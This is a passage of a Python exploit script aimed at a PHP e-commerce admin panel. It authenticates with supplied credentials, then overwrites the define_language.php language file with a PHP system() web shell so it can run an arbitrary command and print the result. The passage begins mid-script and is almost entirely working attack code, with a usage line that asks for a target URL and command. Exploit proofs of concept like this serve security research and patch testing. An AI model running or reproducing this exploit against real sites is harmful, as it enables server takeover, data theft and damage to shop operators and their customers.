Attempting to exploit the target...")       initial_url = url + "/admin/define_language.php?lngdir=english&filename=english.php"    formid, cookies = get_formid_and_cookies(session, initial_url)    if not formid:        print("[-] Failed to retrieve initial formid.")        return    # Login    print("[+] Performing login...")    login_payload = {        'formid': formid,        'username': username,        'password': password    }    login_headers = {        'Content-Type': 'application/x-www-form-urlencoded',        'Cookie': f'cepcAdminID={cookies["cepcAdminID"]}',        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36',        'Referer': initial_url    }    login_url = url + "/admin/login.php?action=process"    login_response = session.post(login_url, data=login_payload, headers=login_headers, allow_redirects=True)    if not login_response.ok:        print("[-] Login failed.")        print(login_response.text)        return    print("[+] Login successful.")    new_formid, _ = get_formid_and_cookies(session, login_response.url)    if not new_formid:        print("[-] Failed to retrieve new formid after login.")        return    # Exploit    print("[+] Executing the exploit...")    encoded_command = urllib.parse.quote_plus(command)    exploit_payload = f"formid={new_formid}&file_contents=%3C%3Fphp+echo+system%28%27{encoded_command}%27%29%3B"    exploit_headers = {        'Content-Type': 'application/x-www-form-urlencoded',        'Cookie': f'cepcAdminID={cookies["cepcAdminID"]}',        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36',        'Referer': login_response.url    }    exploit_url = url + "/admin/define_language.php?lngdir=english&filename=english.php&action=save"    exploit_response = session.post(exploit_url, data=exploit_payload, headers=exploit_headers, allow_redirects=True)    if exploit_response.ok:        print("[+] Exploit executed successfully.")    else:        print("[-] Exploit failed.")        print(exploit_response.text)        final_response = session.get(url)    print("\n[+] Executed Command Output:\n")    print(final_response.text)  def main(base_url, username, password, command):    print("\n[+] Starting the exploitation process...")    session = requests.Session()    perform_exploit(session, base_url, username, password, command)if __name__ == "__main__":    entry_banner()    if len(sys.argv) < 5:        print("Usage: python script.py [URL] [username] [password] [command]")        sys.exit(1)    base_url = sys.argv[1]    username = sys.argv[2]    password = sys.argv[3]    command = sys.argv[4]    main(base_url, username, password, command)

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